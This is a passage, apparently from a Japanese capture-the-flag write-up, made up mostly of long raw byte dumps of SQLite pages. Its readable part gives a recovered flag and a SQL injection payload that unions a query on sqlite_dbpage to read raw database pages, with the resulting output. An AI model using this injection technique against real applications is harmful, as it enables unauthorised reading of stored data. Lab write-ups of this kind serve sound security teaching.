x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x01\x02yAlpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}&amp;#39;!
&lt;/code>&lt;/pre>&lt;p>ちなみに&lt;code>pgno=5&lt;/code>でもflagが得られる．&lt;br>
SQLite のテーブルは B-tree 構造を取るため，rootpage 以外にもデータページが存在すると考えられる．&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=5 --
Hello, b&amp;#39;\n\x00\x00\x00\x01\x0f\xc6\x00\x0f\xc6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\